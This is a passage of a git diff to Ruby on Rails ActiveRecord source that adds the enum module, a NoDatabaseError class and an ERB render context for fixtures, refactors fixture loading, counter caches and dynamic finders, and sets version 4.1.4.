-          mod = const_set(:GeneratedFeatureMethods, Module.new)
+      def generated_association_methods
+        @generated_association_methods ||= begin
+          mod = const_set(:GeneratedAssociationMethods, Module.new)
           include mod
           mod
         end
@@ -112,7 +128,7 @@ module ActiveRecord
         elsif abstract_class?
           "#{super}(abstract)"
         elsif !connected?
-          "#{super}(no database connection)"
+          "#{super} (call '#{super}.connection' to establish a connection)"
         elsif table_exists?
           attr_list = columns.map { |c| "#{c.name}: #{c.type}" } * ', '
           "#{super}(#{attr_list})"
@@ -129,27 +145,26 @@ module ActiveRecord
       # Returns an instance of <tt>Arel::Table</tt> loaded with the current table name.
       #
       #   class Post < ActiveRecord::Base
-      #     scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
+      #     scope :published_and_commented, -> { published.and(self.arel_table[:comments_count].gt(0)) }
       #   end
-      def arel_table
+      def arel_table # :nodoc:
         @arel_table ||= Arel::Table.new(table_name, arel_engine)
       end
 
       # Returns the Arel engine.
-      def arel_engine
-        @arel_engine ||= begin
+      def arel_engine # :nodoc:
+        @arel_engine ||=
           if Base == self || connection_handler.retrieve_connection_pool(self)
             self
           else
             superclass.arel_engine
           end
-        end
       end
 
       private
 
       def relation #:nodoc:
-        relation = Relation.new(self, arel_table)
+        relation = Relation.create(self, arel_table)
 
         if finder_needs_type_condition?
           relation.where(type_condition).create_with(inheritance_column.to_sym => sti_name)
@@ -176,9 +191,7 @@ module ActiveRecord
       @column_types = self.class.column_types
 
       init_internals
-      init_changed_attributes
-      ensure_proper_type
-      populate_with_current_scope_attributes
+      initialize_internals_callback
 
       # +options+ argument is only needed to make protected_attributes gem easier to hook.
       # Remove it when we drop support to this gem.
@@ -207,6 +220,8 @@ module ActiveRecord
 
       @new_record = false
 
+      self.class.define_attribute_methods
+
       run_callbacks :find
       run_callbacks :initialize
 
@@ -249,16 +264,13 @@ module ActiveRecord
 
       run_callbacks(:initialize) unless _initialize_callbacks.empty?
 
-      @changed_attributes = {}
-      init_changed_attributes
-
       @aggregation_cache = {}
       @association_cache = {}
       @attributes_cache  = {}
 
       @new_record  = true
+      @destroyed   = false
 
-      ensure_proper_type
       super
     end
 
@@ -275,7 +287,7 @@ module ActiveRecord
     #   Post.new.encode_with(coder)
     #   coder # => {"attributes" => {"id" => nil, ... }}
     def encode_with(coder)
-      coder['attributes'] = attributes
+      coder['attributes'] = attributes_for_coder
     end
 
     # Returns true if +comparison_object+ is the same exact object, or +comparison_object+
@@ -290,7 +302,7 @@ module ActiveRecord
     def ==(comparison_object)
       super ||
         comparison_object.instance_of?(self.class) &&
-        id.present? &&
+        !id.nil? &&
         comparison_object.id == id
     end
     alias :eql? :==
@@ -318,6 +330,8 @@ module ActiveRecord
     def <=>(other_object)
       if other_object.is_a?(self.class)
         self.to_key <=> other_object.to_key
+      else
+        super
       end
     end
 
@@ -332,14 +346,6 @@ module ActiveRecord
       @readonly = true
     end
 
-    # Returns the connection currently associated with the class. This can
-    # also be used to "borrow" the connection to do database work that isn't
-    # easily done without going straight to SQL.
-    def connection
-      ActiveSupport::Deprecation.warn("#connection is deprecated in favour of accessing it via the class")
-      self.class.connection
-    end
-
     def connection_handler
       self.class.connection_handler
     end
@@ -362,7 +368,7 @@ module ActiveRecord
 
     # Returns a hash of the given methods with their names as keys and returned values as values.
     def slice(*methods)
-      Hash[methods.map { |method| [method, public_send(method)] }].with_indifferent_access
+      Hash[methods.map! { |method| [method, public_send(method)] }].with_indifferent_access
     end
 
     def set_transaction_state(state) # :nodoc:
@@ -397,13 +403,10 @@ module ActiveRecord
     end
 
     def update_attributes_from_transaction_state(transaction_state, depth)
-      if transaction_state && !has_transactional_callbacks?
+      if transaction_state && transaction_state.finalized? && !has_transactional_callbacks?
         unless @reflects_state[depth]
-          if transaction_state.committed?
-            committed!
-          elsif transaction_state.rolledback?
-            rolledback!
-          end
+          restore_transaction_record_state if transaction_state.rolledback?
+          clear_transaction_record_state
           @reflects_state[depth] = true
         end
 
@@ -432,8 +435,6 @@ module ActiveRecord
       @aggregation_cache        = {}
       @association_cache        = {}
       @attributes_cache         = {}
-      @previously_changed       = {}
-      @changed_attributes       = {}
       @readonly                 = false
       @destroyed                = false
       @marked_for_destruction   = false
@@ -445,13 +446,7 @@ module ActiveRecord
       @reflects_state           = [false]
     end
 
-    def init_changed_attributes
-      # Intentionally avoid using #column_defaults since overridden defaults (as is done in
-      # optimistic locking) won't get written unless they get marked as changed
-      self.class.columns.each do |c|
-        attr, orig_value = c.name, c.default
-        @changed_attributes[attr] = orig_value if _field_changed?(attr, orig_value, @attributes[attr])
-      end
+    def initialize_internals_callback
     end
 
     # This method is needed to make protected_attributes gem easier to hook.
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
index 81cca37..71ea865 100644
--- a/activerecord/lib/active_record/counter_cache.rb
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -20,7 +20,7 @@ module ActiveRecord
       def reset_counters(id, *counters)
         object = find(id)
         counters.each do |association|
-          has_many_association = reflect_on_association(association.to_sym)
+          has_many_association = _reflect_on_association(association.to_sym)
           raise ArgumentError, "'#{self.name}' has no association called '#{association}'" unless has_many_association
 
           if has_many_association.is_a? ActiveRecord::Reflection::ThroughReflection
@@ -29,13 +29,12 @@ module ActiveRecord
 
           foreign_key  = has_many_association.foreign_key.to_s
           child_class  = has_many_association.klass
-          belongs_to   = child_class.reflect_on_all_associations(:belongs_to)
-          reflection   = belongs_to.find { |e| e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
+          reflection   = child_class._reflections.values.find { |e| :belongs_to == e.macro && e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
           counter_name = reflection.counter_cache_column
 
           stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({
             arel_table[counter_name] => object.send(association).count
-          })
+          }, primary_key)
           connection.update stmt
         end
         return true
@@ -50,7 +49,7 @@ module ActiveRecord
       # ==== Parameters
       #
       # * +id+ - The id of the object you wish to update a counter on or an Array of ids.
-      # * +counters+ - An Array of Hashes containing the names of the fields
+      # * +counters+ - A Hash containing the names of the fields
       #   to update as keys and the amount to update the field by as values.
       #
       # ==== Examples
@@ -77,15 +76,15 @@ module ActiveRecord
           "#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
         end
 
-        where(primary_key => id).update_all updates.join(', ')
+        unscoped.where(primary_key => id).update_all updates.join(', ')
       end
 
       # Increment a numeric field by one, via a direct SQL update.
       #
-      # This method is used primarily for maintaining counter_cache columns used to
-      # store aggregate values. For example, a DiscussionBoard may cache posts_count
-      # and comments_count to avoid running an SQL query to calculate the number of
-      # posts and comments there are each time it is displayed.
+      # This method is used primarily for maintaining counter_cache columns that are
+      # used to store aggregate values. For example, a DiscussionBoard may cache
+      # posts_count and comments_count to avoid running an SQL query to calculate the
+      # number of posts and comments there are, each time it is displayed.
       #
       # ==== Parameters
       #
diff --git a/activerecord/lib/active_record/dynamic_matchers.rb b/activerecord/lib/active_record/dynamic_matchers.rb
index e650ebc..e94b740 100644
--- a/activerecord/lib/active_record/dynamic_matchers.rb
+++ b/activerecord/lib/active_record/dynamic_matchers.rb
@@ -6,8 +6,12 @@ module ActiveRecord
     # then we can remove the indirection.
 
     def respond_to?(name, include_private = false)
-      match = Method.match(self, name)
-      match && match.valid? || super
+      if self == Base
+        super
+      else
+        match = Method.match(self, name)
+        match && match.valid? || super
+      end
     end
 
     private
@@ -84,13 +88,18 @@ module ActiveRecord
         "#{finder}(#{attributes_hash})"
       end
 
+      # The parameters in the signature may have reserved Ruby words, in order
+      # to prevent errors, we start each param name with `_`.
+      #
       # Extended in activerecord-deprecated_finders
       def signature
-        attribute_names.join(', ')
+        attribute_names.map { |name| "_#{name}" }.join(', ')
       end
 
+      # Given that the parameters starts with `_`, the finder needs to use the
+      # same parameter name.
       def attributes_hash
-        "{" + attribute_names.map { |name| ":#{name} => #{name}" }.join(',') + "}"
+        "{" + attribute_names.map { |name| ":#{name} => _#{name}" }.join(',') + "}"
       end
 
       def finder
diff --git a/activerecord/lib/active_record/enum.rb b/activerecord/lib/active_record/enum.rb
new file mode 100644
index 0000000..18f1ca2
--- /dev/null
+++ b/activerecord/lib/active_record/enum.rb
@@ -0,0 +1,199 @@
+require 'active_support/core_ext/object/deep_dup'
+
+module ActiveRecord
+  # Declare an enum attribute where the values map to integers in the database,
+  # but can be queried by name. Example:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum status: [ :active, :archived ]
+  #   end
+  #
+  #   # conversation.update! status: 0
+  #   conversation.active!
+  #   conversation.active? # => true
+  #   conversation.status  # => "active"
+  #
+  #   # conversation.update! status: 1
+  #   conversation.archived!
+  #   conversation.archived? # => true
+  #   conversation.status    # => "archived"
+  #
+  #   # conversation.update! status: 1
+  #   conversation.status = "archived"
+  #
+  #   # conversation.update! status: nil
+  #   conversation.status = nil
+  #   conversation.status.nil? # => true
+  #   conversation.status      # => nil
+  #
+  # Scopes based on the allowed values of the enum field will be provided
+  # as well. With the above example, it will create an +active+ and +archived+
+  # scope.
+  #
+  # You can set the default value from the database declaration, like:
+  #
+  #   create_table :conversations do |t|
+  #     t.column :status, :integer, default: 0
+  #   end
+  #
+  # Good practice is to let the first declared status be the default.
+  #
+  # Finally, it's also possible to explicitly map the relation between attribute and
+  # database integer with a +Hash+:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum status: { active: 0, archived: 1 }
+  #   end
+  #
+  # Note that when an +Array+ is used, the implicit mapping from the values to database
+  # integers is derived from the order the values appear in the array. In the example,
+  # <tt>:active</tt> is mapped to +0+ as it's the first element, and <tt>:archived</tt>
+  # is mapped to +1+. In general, the +i+-th element is mapped to <tt>i-1</tt> in the
+  # database.
+  #
+  # Therefore, once a value is added to the enum array, its position in the array must
+  # be maintained, and new values should only be added to the end of the array. To
+  # remove unused values, the explicit +Hash+ syntax should be used.
+  #
+  # In rare circumstances you might need to access the mapping directly.
+  # The mappings are exposed through a class method with the pluralized attribute
+  # name:
+  #
+  #   Conversation.statuses # => { "active" => 0, "archived" => 1 }
+  #
+  # Use that class method when you need to know the ordinal value of an enum:
+  #
+  #   Conversation.where("status <> ?", Conversation.statuses[:archived])
+  #
+  # Where conditions on an enum attribute must use the ordinal value of an enum.
+  module Enum
+    def self.extended(base)
+      base.class_attribute(:defined_enums)
+      base.defined_enums = {}
+    end
+
+    def inherited(base)
+      base.defined_enums = defined_enums.deep_dup
+      super
+    end
+
+    def enum(definitions)
+      klass = self
+      definitions.each do |name, values|
+        # statuses = { }
+        enum_values = ActiveSupport::HashWithIndifferentAccess.new
+        name        = name.to_sym
+
+        # def self.statuses statuses end
+        detect_enum_conflict!(name, name.to_s.pluralize, true)
+        klass.singleton_class.send(:define_method, name.to_s.pluralize) { enum_values }
+
+        _enum_methods_module.module_eval do
+          # def status=(value) self[:status] = statuses[value] end
+          klass.send(:detect_enum_conflict!, name, "#{name}=")
+          define_method("#{name}=") { |value|
+            if enum_values.has_key?(value) || value.blank?
+              self[name] = enum_values[value]
+            elsif enum_values.has_value?(value)
+              # Assigning a value directly is not a end-user feature, hence it's not documented.
+              # This is used internally to make building objects from the generated scopes work
+              # as expected, i.e. +Conversation.archived.build.archived?+ should be true.
+              self[name] = value
+            else
+              raise ArgumentError, "'#{value}' is not a valid #{name}"
+            end
+          }
+
+          # def status() statuses.key self[:status] end
+          klass.send(:detect_enum_conflict!, name, name)
+          define_method(name) { enum_values.key self[name] }
+
+          # def status_before_type_cast() statuses.key self[:status] end
+          klass.send(:detect_enum_conflict!, name, "#{name}_before_type_cast")
+          define_method("#{name}_before_type_cast") { enum_values.key self[name] }
+
+          pairs = values.respond_to?(:each_pair) ? values.each_pair : values.each_with_index
+          pairs.each do |value, i|
+            enum_values[value] = i
+
+            # def active?() status == 0 end
+            klass.send(:detect_enum_conflict!, name, "#{value}?")
+            define_method("#{value}?") { self[name] == i }
+
+            # def active!() update! status: :active end
+            klass.send(:detect_enum_conflict!, name, "#{value}!")
+            define_method("#{value}!") { update! name => value }
+
+            # scope :active, -> { where status: 0 }
+            klass.send(:detect_enum_conflict!, name, value, true)
+            klass.scope value, -> { klass.where name => i }
+          end
+        end
+        defined_enums[name.to_s] = enum_values
+      end
+    end
+
+    private
+      def _enum_methods_module
+        @_enum_methods_module ||= begin
+          mod = Module.new do
+            private
+              def save_changed_attribute(attr_name, value)
+                if (mapping = self.class.defined_enums[attr_name.to_s])
+                  if attribute_changed?(attr_name)
+                    old = changed_attributes[attr_name]
+
+                    if mapping[old] == value
+                      changed_attributes.delete(attr_name)
+                    end
+                  else
+                    old = clone_attribute_value(:read_attribute, attr_name)
+
+                    if old != value
+                      changed_attributes[attr_name] = mapping.key old
+                    end
+                  end
+                else
+                  super
+                end
+              end
+          end
+          include mod
+          mod
+        end
+      end
+
+      ENUM_CONFLICT_MESSAGE = \
+        "You tried to define an enum named \"%{enum}\" on the model \"%{klass}\", but " \
+        "this will generate a %{type} method \"%{method}\", which is already defined " \
+        "by %{source}."
+
+      def detect_enum_conflict!(enum_name, method_name, klass_method = false)
+        if klass_method && dangerous_class_method?(method_name)
+          raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+            enum: enum_name,
+            klass: self.name,
+            type: 'class',
+            method: method_name,
+            source: 'Active Record'
+          }
+        elsif !klass_method && dangerous_attribute_method?(method_name)
+          raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+            enum: enum_name,
+            klass: self.name,
+            type: 'instance',
+            method: method_name,
+            source: 'Active Record'
+          }
+        elsif !klass_method && method_defined_within?(method_name, _enum_methods_module, Module)
+          raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+            enum: enum_name,
+            klass: self.name,
+            type: 'instance',
+            method: method_name,
+            source: 'another enum'
+          }
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
index cd31147..7f62281 100644
--- a/activerecord/lib/active_record/errors.rb
+++ b/activerecord/lib/active_record/errors.rb
@@ -69,10 +69,6 @@ module ActiveRecord
     end
   end
 
-  # Raised when SQL statement is invalid and the application gets a blank result.
-  class ThrowResult < ActiveRecordError
-  end
-
   # Defunct wrapper class kept for compatibility.
   # +StatementInvalid+ wraps the original exception now.
   class WrappedDatabaseException < StatementInvalid
@@ -98,6 +94,18 @@ module ActiveRecord
   class PreparedStatementInvalid < ActiveRecordError
   end
 
+  # Raised when a given database does not exist
+  class NoDatabaseError < ActiveRecordError
+    def initialize(message)
+      super extend_message(message)
+    end
+
+    # can be over written to add additional error information.
+    def extend_message(message)
+      message
+    end
+  end
+
   # Raised on attempt to save stale record. Record is stale when it's being saved in another query after
   # instantiation, for example, when two users edit the same wiki page and one starts editing and saves
   # the page before the other.
@@ -159,6 +167,15 @@ module ActiveRecord
 
   # Raised when unknown attributes are supplied via mass assignment.
   class UnknownAttributeError < NoMethodError
+
+    attr_reader :record, :attribute
+
+    def initialize(record, attribute)
+      @record = record
+      @attribute = attribute.to_s
+      super("unknown attribute: #{attribute}")
+    end
+
   end
 
   # Raised when an error occurred while doing a mass assignment to an attribute through the
@@ -183,7 +200,7 @@ module ActiveRecord
     end
   end
 
-  # Raised when a primary key is needed, but there is not one specified in the schema or model.
+  # Raised when a primary key is needed, but not specified in the schema or model.
   class UnknownPrimaryKey < ActiveRecordError
     attr_reader :model
 
diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb
index fbd7a4d..8132310 100644
--- a/activerecord/lib/active_record/fixture_set/file.rb
+++ b/activerecord/lib/active_record/fixture_set/file.rb
@@ -38,7 +38,8 @@ module ActiveRecord
         end
 
         def render(content)
-          ERB.new(content).result
+          context = ActiveRecord::FixtureSet::RenderContext.create_subclass.new
+          ERB.new(content).result(context.get_binding)
         end
 
         # Validate our unmarshalled data.
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index e3019c5..c4df695 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -119,6 +119,23 @@ module ActiveRecord
   # perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
   # in fixtures are to be considered a code smell.
   #
+  # Helper methods defined in a fixture will not be available in other fixtures, to prevent against
+  # unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module
+  # that is included in <tt>ActiveRecord::FixtureSet.context_class</tt>.
+  #
+  # - define a helper method in `test_helper.rb`
+  #     class FixtureFileHelpers
+  #       def file_sha(path)
+  #         Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+  #       end
+  #     end
+  #     ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+  #
+  # - use the helper method in a fixture
+  #     photo:
+  #       name: kitten.png
+  #       sha: <%= file_sha 'files/kitten.png' %>
+  #
   # = Transactional Fixtures
   #
   # Test cases can use begin+rollback to isolate their changes to the database instead of having to
@@ -379,22 +396,16 @@ module ActiveRecord
 
     @@all_cached_fixtures = Hash.new { |h,k| h[k] = {} }
 
-    def self.find_table_name(fixture_set_name) # :nodoc:
-      ActiveSupport::Deprecation.warn(
-        "ActiveRecord::Fixtures.find_table_name is deprecated and shall be removed from future releases.  Use ActiveRecord::Fixtures.default_fixture_model_name instead.")
-      default_fixture_model_name(fixture_set_name)
-    end
-
-    def self.default_fixture_model_name(fixture_set_name) # :nodoc:
-      ActiveRecord::Base.pluralize_table_names ?
+    def self.default_fixture_model_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+      config.pluralize_table_names ?
         fixture_set_name.singularize.camelize :
         fixture_set_name.camelize
     end
 
-    def self.default_fixture_table_name(fixture_set_name) # :nodoc:
-       "#{ ActiveRecord::Base.table_name_prefix }"\
+    def self.default_fixture_table_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+       "#{ config.table_name_prefix }"\
        "#{ fixture_set_name.tr('/', '_') }"\
-       "#{ ActiveRecord::Base.table_name_suffix }".to_sym
+       "#{ config.table_name_suffix }".to_sym
     end
 
     def self.reset_cache
@@ -442,9 +453,47 @@ module ActiveRecord
     cattr_accessor :all_loaded_fixtures
     self.all_loaded_fixtures = {}
 
-    def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {})
+    class ClassCache
+      def initialize(class_names, config)
+        @class_names = class_names.stringify_keys
+        @config      = config
+
+        # Remove string values that aren't constants or subclasses of AR
+        @class_names.delete_if { |k,klass|
+          unless klass.is_a? Class
+            klass = klass.safe_constantize
+            ActiveSupport::Deprecation.warn("The ability to pass in strings as a class name to `set_fixture_class` will be removed in Rails 4.2. Use the class itself instead.")
+          end
+          !insert_class(@class_names, k, klass)
+        }
+      end
+
+      def [](fs_name)
+        @class_names.fetch(fs_name) {
+          klass = default_fixture_model(fs_name, @config).safe_constantize
+          insert_class(@class_names, fs_name, klass)
+        }
+      end
+
+      private
+
+      def insert_class(class_names, name, klass)
+        # We only want to deal with AR objects.
+        if klass && klass < ActiveRecord::Base
+          class_names[name] = klass
+        else
+          class_names[name] = nil
+        end
+      end
+
+      def default_fixture_model(fs_name, config)
+        ActiveRecord::FixtureSet.default_fixture_model_name(fs_name, config)
+      end
+    end
+
+    def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {}, config = ActiveRecord::Base)
       fixture_set_names = Array(fixture_set_names).map(&:to_s)
-      class_names = class_names.stringify_keys
+      class_names = ClassCache.new class_names, config
 
       # FIXME: Apparently JK uses this.
       connection = block_given? ? yield : ActiveRecord::Base.connection
@@ -458,10 +507,12 @@ module ActiveRecord
           fixtures_map = {}
 
           fixture_sets = files_to_read.map do |fs_name|
+            klass = class_names[fs_name]
+            conn = klass ? klass.connection : connection
             fixtures_map[fs_name] = new( # ActiveRecord::FixtureSet.new
-              connection,
+              conn,
               fs_name,
-              class_names[fs_name] || default_fixture_model_name(fs_name),
+              klass,
               ::File.join(fixtures_directory, fs_name))
           end
 
@@ -503,27 +554,36 @@ module ActiveRecord
       Zlib.crc32(label.to_s) % MAX_ID
     end
 
-    attr_reader :table_name, :name, :fixtures, :model_class
+    # Superclass for the evaluation contexts used by ERB fixtures.
+    def self.context_class
+      @context_class ||= Class.new
+    end
+
+    attr_reader :table_name, :name, :fixtures, :model_class, :config
 
-    def initialize(connection, name, class_name, path)
-      @fixtures = {} # Ordered hash
+    def initialize(connection, name, class_name, path, config = ActiveRecord::Base)
       @name     = name
       @path     = path
+      @config   = config
+      @model_class = nil
+
+      if class_name.is_a?(String)
+        ActiveSupport::Deprecation.warn("The ability to pass in strings as a class name to `FixtureSet.new` will be removed in Rails 4.2. Use the class itself instead.")
+      end
 
       if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any?
         @model_class = class_name
       else
-        @model_class = class_name.constantize rescue nil
+        @model_class = class_name.safe_constantize if class_name
       end
 
-      @connection  = ( model_class.respond_to?(:connection) ?
-                       model_class.connection : connection )
+      @connection  = connection
 
       @table_name = ( model_class.respond_to?(:table_name) ?
                       model_class.table_name :
-                      self.class.default_fixture_table_name(name) )
+                      self.class.default_fixture_table_name(name, config) )
 
-      read_fixture_files
+      @fixtures = read_fixture_files path, @model_class
     end
 
     def [](x)
@@ -542,10 +602,10 @@ module ActiveRecord
       fixtures.size
     end
 
-    # Return a hash of rows to be inserted. The key is the table, the value is
+    # Returns a hash of rows to be inserted. The key is the table, the value is
     # a list of rows to insert to that table.
     def table_rows
-      now = ActiveRecord::Base.default_timezone == :utc ? Time.now.utc : Time.now
+      now = config.default_timezone == :utc ? Time.now.utc : Time.now
       now = now.to_s(:db)
 
       # allow a standard key to be used for doing defaults in YAML
@@ -557,7 +617,7 @@ module ActiveRecord
       rows[table_name] = fixtures.map do |label, fixture|
         row = fixture.to_hash
 
-        if model_class && model_class < ActiveRecord::Base
+        if model_class
           # fill in timestamp columns if they aren't specified and the model is set to record_timestamps
           if model_class.record_timestamps
             timestamp_column_names.each do |c_name|
@@ -567,7 +627,7 @@ module ActiveRecord
 
           # interpolate the fixture label
           row.each do |key, value|
-            row[key] = label if value == "$LABEL"
+            row[key] = label if "$LABEL" == value
           end
 
           # generate a primary key if necessary
@@ -583,7 +643,7 @@ module ActiveRecord
               model_class
             end
 
-          reflection_class.reflect_on_all_associations.each do |association|
+          reflection_class._reflections.values.each do |association|
             case association.macro
             when :belongs_to
               # Do not replace association name with association foreign key if they are named the same
@@ -597,14 +657,9 @@ module ActiveRecord
 
                 row[fk_name] = ActiveRecord::FixtureSet.identify(value)
               end
-            when :has_and_belongs_to_many
-              if (targets = row.delete(association.name.to_s))
-                targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
-                table_name = association.join_table
-                rows[table_name].concat targets.map { |target|
-                  { association.foreign_key             => row[primary_key_name],
-                    association.association_foreign_key => ActiveRecord::FixtureSet.identify(target) }
-                }
+            when :has_many
+              if association.options[:through]
+                add_join_records(rows, row, HasManyThroughProxy.new(association))
               end
             end
           end
@@ -615,11 +670,50 @@ module ActiveRecord
       rows
     end
 
+    class ReflectionProxy # :nodoc:
+      def initialize(association)
+        @association = association
+      end
+
+      def join_table
+        @association.join_table
+      end
+
+      def name
+        @association.name
+      end
+    end
+
+    class HasManyThroughProxy < ReflectionProxy # :nodoc:
+      def rhs_key
+        @association.foreign_key
+      end
+
+      def lhs_key
+        @association.through_reflection.foreign_key
+      end
+    end
+
     private
       def primary_key_name
         @primary_key_name ||= model_class && model_class.primary_key
       end
 
+      def add_join_records(rows, row, association)
+        # This is the case when the join table has no fixtures file
+        if (targets = row.delete(association.name.to_s))
+          table_name = association.join_table
+          lhs_key    = association.lhs_key
+          rhs_key    = association.rhs_key
+
+          targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
+          rows[table_name].concat targets.map { |target|
+            { lhs_key => row[primary_key_name],
+              rhs_key => ActiveRecord::FixtureSet.identify(target) }
+          }
+        end
+      end
+
       def has_primary_key_column?
         @has_primary_key_column ||= primary_key_name &&
           model_class.columns.any? { |c| c.name == primary_key_name }
@@ -638,12 +732,12 @@ module ActiveRecord
         @column_names ||= @connection.columns(@table_name).collect { |c| c.name }
       end
 
-      def read_fixture_files
-        yaml_files = Dir["#{@path}/{**,*}/*.yml"].select { |f|
+      def read_fixture_files(path, model_class)
+        yaml_files = Dir["#{path}/{**,*}/*.yml"].select { |f|
           ::File.file?(f)
-        } + [yaml_file_path]
+        } + [yaml_file_path(path)]
 
-        yaml_files.each do |file|
+        yaml_files.each_with_object({}) do |file, fixtures|
           FixtureSet::File.open(file) do |fh|
             fh.each do |fixture_name, row|
               fixtures[fixture_name] = ActiveRecord::Fixture.new(row, model_class)
@@ -652,8 +746,8 @@ module ActiveRecord
         end
       end
 
-      def yaml_file_path
-        "#{@path}.yml"
+      def yaml_file_path(path)
+        "#{path}.yml"
       end
 
   end
@@ -725,14 +819,16 @@ module ActiveRecord
       class_attribute :use_transactional_fixtures
       class_attribute :use_instantiated_fixtures # true, false, or :no_instances
       class_attribute :pre_loaded_fixtures
+      class_attribute :config
 
       self.fixture_table_names = []
       self.use_transactional_fixtures = true
       self.use_instantiated_fixtures = false
       self.pre_loaded_fixtures = false
+      self.config = ActiveRecord::Base
 
       self.fixture_class_names = Hash.new do |h, fixture_set_name|
-        h[fixture_set_name] = ActiveRecord::FixtureSet.default_fixture_model_name(fixture_set_name)
+        h[fixture_set_name] = ActiveRecord::FixtureSet.default_fixture_model_name(fixture_set_name, self.config)
       end
     end
 
@@ -745,13 +841,6 @@ module ActiveRecord
       #                     'namespaced/fixture' => Another::Model
       #
       # The keys must be the fixture names, that coincide with the short paths to the fixture files.
-      #--
-      # It is also possible to pass the class name instead of the class:
-      #   set_fixture_class 'some_fixture' => 'SomeModel'
-      # I think this option is redundant, i propose to deprecate it.
-      # Isn't it easier to always pass the class itself?
-      # (2011-12-20 alexeymuranov)
-      #++
       def set_fixture_class(class_names = {})
         self.fixture_class_names = self.fixture_class_names.merge(class_names.stringify_keys)
       end
@@ -765,7 +854,7 @@ module ActiveRecord
         end
 
         self.fixture_table_names |= fixture_set_names
-        require_fixture_classes(fixture_set_names)
+        require_fixture_classes(fixture_set_names, self.config)
         setup_fixture_accessors(fixture_set_names)
       end
 
@@ -780,7 +869,7 @@ module ActiveRecord
         end
       end
 
-      def require_fixture_classes(fixture_set_names = nil)
+      def require_fixture_classes(fixture_set_names = nil, config = ActiveRecord::Base)
         if fixture_set_names
           fixture_set_names = fixture_set_names.map { |n| n.to_s }
         else
@@ -788,7 +877,7 @@ module ActiveRecord
         end
 
         fixture_set_names.each do |file_name|
-          file_name = file_name.singularize if ActiveRecord::Base.pluralize_table_names
+          file_name = file_name.singularize if config.pluralize_table_names
           try_to_load_dependency(file_name)
         end
       end
@@ -840,9 +929,7 @@ module ActiveRecord
         !self.class.uses_transaction?(method_name)
     end
 
-    def setup_fixtures
-      return if ActiveRecord::Base.configurations.blank?
-
+    def setup_fixtures(config = ActiveRecord::Base)
       if pre_loaded_fixtures && !use_transactional_fixtures
         raise RuntimeError, 'pre_loaded_fixtures requires use_transactional_fixtures'
       end
@@ -856,7 +943,7 @@ module ActiveRecord
         if @@already_loaded_fixtures[self.class]
           @loaded_fixtures = @@already_loaded_fixtures[self.class]
         else
-          @loaded_fixtures = load_fixtures
+          @loaded_fixtures = load_fixtures(config)
           @@already_loaded_fixtures[self.class] = @loaded_fixtures
         end
         @fixture_connections = enlist_fixture_connections
@@ -867,16 +954,14 @@ module ActiveRecord
       else
         ActiveRecord::FixtureSet.reset_cache
         @@already_loaded_fixtures[self.class] = nil
-        @loaded_fixtures = load_fixtures
+        @loaded_fixtures = load_fixtures(config)
       end
 
       # Instantiate fixtures for every test if requested.
-      instantiate_fixtures if use_instantiated_fixtures
+      instantiate_fixtures(config) if use_instantiated_fixtures
     end
 
     def teardown_fixtures
-      return if ActiveRecord::Base.configurations.blank?
-
       # Rollback changes if a transaction is active.
       if run_in_transaction?
         @fixture_connections.each do |connection|
@@ -895,19 +980,19 @@ module ActiveRecord
     end
 
     private
-      def load_fixtures
-        fixtures = ActiveRecord::FixtureSet.create_fixtures(fixture_path, fixture_table_names, fixture_class_names)
+      def load_fixtures(config)
+        fixtures = ActiveRecord::FixtureSet.create_fixtures(fixture_path, fixture_table_names, fixture_class_names, config)
         Hash[fixtures.map { |f| [f.name, f] }]
       end
 
       # for pre_loaded_fixtures, only require the classes once. huge speed improvement
       @@required_fixture_classes = false
 
-      def instantiate_fixtures
+      def instantiate_fixtures(config)
         if pre_loaded_fixtures
           raise RuntimeError, 'Load fixtures before instantiating them.' if ActiveRecord::FixtureSet.all_loaded_fixtures.empty?
           unless @@required_fixture_classes
-            self.class.require_fixture_classes ActiveRecord::FixtureSet.all_loaded_fixtures.keys
+            self.class.require_fixture_classes ActiveRecord::FixtureSet.all_loaded_fixtures.keys, config
             @@required_fixture_classes = true
           end
           ActiveRecord::FixtureSet.instantiate_all_loaded_fixtures(self, load_instances?)
@@ -924,3 +1009,13 @@ module ActiveRecord
       end
   end
 end
+
+class ActiveRecord::FixtureSet::RenderContext # :nodoc:
+  def self.create_subclass
+    Class.new ActiveRecord::FixtureSet.context_class do
+      def get_binding
+        binding()
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/gem_version.rb b/activerecord/lib/active_record/gem_version.rb
new file mode 100644
index 0000000..9792eaf
--- /dev/null
+++ b/activerecord/lib/active_record/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+  # Returns the version of the currently loaded ActiveRecord as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 4
+    MINOR = 1
+    TINY  = 4
+    PRE   = nil
